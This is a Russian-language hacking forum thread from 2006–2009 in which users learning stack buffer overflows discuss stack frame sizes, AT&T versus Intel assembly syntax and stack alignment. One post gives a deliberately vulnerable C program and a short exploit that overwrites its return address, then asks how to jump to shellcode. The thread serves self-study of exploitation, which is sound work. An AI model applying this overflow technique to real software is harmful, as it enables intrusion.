ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > Реверсинг
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 07.11.2006, 23:05
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

2Go0o$E, Спасибо, за книжку...

Кстате немного поигрался, и вот что получилось , это врядли было задуманно
1└PГь&PН|$$WWPИG∙ш4r-AAAAAAAhiddenN(Alt+255)(Alt+18)
 

  #12  
Старый 08.11.2006, 11:45
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Хмм.. ну а как тогда узнать точно по дизассемблированной функции сколько места в стеке под массив резервируется?

Код:
0x08048597 <return_input+3>:    sub    $0x28,%esp
Почему тут число 0x28 (40), а у вас получается 36 ? Откуда у меня берутся лишние 4 байта?

Когда я начинаю переписывать с 36го байта по 40й, ни eip ни ebp не переписываются.

И ещё вопрос, перенаправил вывод с програмки которая генерирует строку ввода в файл "(./a.out : cat) > 1.txt" В конце файла откудато взялись байты "01 0A", откуда они взялись?

З.Ы.
Книжку я купил на русском языке в магазине "буквоед" в Питере (рядом с м. Площадь Восстания за 830 руб), на озоне вроде тоже продаётся, но блин дорогая.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 08.11.2006 в 18:13..
 

  #13  
Старый 08.11.2006, 18:22
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Ты знаешь, я не знаю откуда ты взял эти значения и темболее не понимяю, как ты помещаешь разницу константы и esp обратно в константу.
Код:
0x08048597 <return_input+3>:    sub    $0x28,%esp
но наверно ты имеешь ввиду этот фрагмент
Код:
004012D4 >/$  55               PUSH    EBP
004012D5  |.  89E5             MOV     EBP, ESP
004012D7  |.  83EC 20          SUB     ESP, 20
004012DA  |.  57               PUSH    EDI
004012DB  |.  8D7D E2          LEA     EDI, DWORD PTR [EBP-1E]
004012DE  |.  57               PUSH    EDI                              ; /s
004012DF  |.  E8 145F0000      CALL    xxx._gets                        ; \_gets
004012E4  |.  83C4 04          ADD     ESP, 4
004012E7  |.  8D7D E2          LEA     EDI, DWORD PTR [EBP-1E]
004012EA  |.  57               PUSH    EDI                              ; /<%s>
004012EB  |.  68 A0A04000      PUSH    xxx.0040A0A0                     ; |format = "%s",LF,""
004012F0  |.  E8 A75C0000      CALL    xxx._printf                      ; \_printf
004012F5  |.  83C4 08          ADD     ESP, 8
004012F8  |.  5F               POP     EDI
004012F9  |.  C9               LEAVE
004012FA  \.  C3               RET
в стек помещаются значения кратные 4, так что 30 округляется вперёд до 32(0x20), а вот потерянные 4 байта это какраз ebp, сохранённые в начале функции, которые в свою очередь убераются инструкцией LEAVE.
 

  #14  
Старый 09.11.2006, 16:07
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от hidden  
Ты знаешь, я не знаю откуда ты взял эти значения и темболее не понимяю, как ты помещаешь разницу константы и esp обратно в константу.
Код:
0x08048597 <return_input+3>:    sub    $0x28,%esp
Хехе, это другая разновидность синтаксиса ассемблера (AT&T), а ты привык к синтаксису Intel.

GDB поддерживает синтаксис AT&T, а OllyDbg синтаксис Intel. По сути sub $0x28,%esp в записи AT&T эквивалентно sub esp, 28 в Intel.

В синтаксисе AT&T операнды пишутся как "источник, приёмник", а в Intel наоборот + есть ещё кое какие различия.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 

  #15  
Старый 09.11.2006, 19:11
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Цитата:
Ты знаешь, я не знаю откуда ты взял эти значения и темболее не понимяю, как ты помещаешь разницу константы и esp обратно в константу.
это синтаксис AT&T.
Цитата:
в стек помещаются значения кратные 4, так что 30 округляется вперёд до 32(0x20), а вот потерянные 4 байта это какраз ebp, сохранённые в начале функции, которые в свою очередь убераются инструкцией LEAVE.
хм. ну вроде так, угу

Цитата:
в стек помещаются значения кратные 4, так что 30 округляется вперёд до 32(0x20), а вот потерянные 4 байта это какраз ebp,
поместить-то два байта можно в стек (PUSH BX, например), но нужно выравнивать стек по границе машинного слова (32бит)
 

  #16  
Старый 12.12.2009, 21:35
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Прошу разъяснить мне на пальцах. Написал небольшую програмку на си

Код:
#include "stdio.h"

void return_input (char *s) {
  char array[30];
  
  strcpy(array,s);
  printf("%s\n", array);
}

char text () {
  printf("text\n");
}

main ( int argc, char *argv[] ) {
  text();
  return_input(argv[1]);
  return 0;

}
И эксплоет
Код:
#include "stdlib.h"
main () {
  char stuff[]= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08";
  execlp("./bof","./bof",&stuff,NULL);
}
По адресу 0x08048496 у меня находится вызов функции text()
Работает нормально, т.е вывод

spyder@l33t:~/c> ./eip
text
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
text

Теперь хочу передать управление шеллкоду. Вот тут я немогу понять. Где то пишут что нужно передать управление коду jmp esp. Вопрос1 - Где мне взять его, система nix.
Так же пишут что шеллкод нужно передавать сразу после адреса возврата или до него, заполняя остальное место в буфере нопами, в таком случае как узнать адрес куда мне нужно передать управление? Читал статьи, вникнуть немогу
Заранее спасибо
 

  #17  
Старый 17.12.2009, 13:22
cheater_man
Постоянный
Регистрация: 13.11.2009
Сообщений: 437
Провел на форуме:
709575

Репутация: 17
По умолчанию

Cылка битая. Вот на русском http://letitbit.net/download/fd46de141051/iskustvo-vzloma-i-zashitu-system.rar.html
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ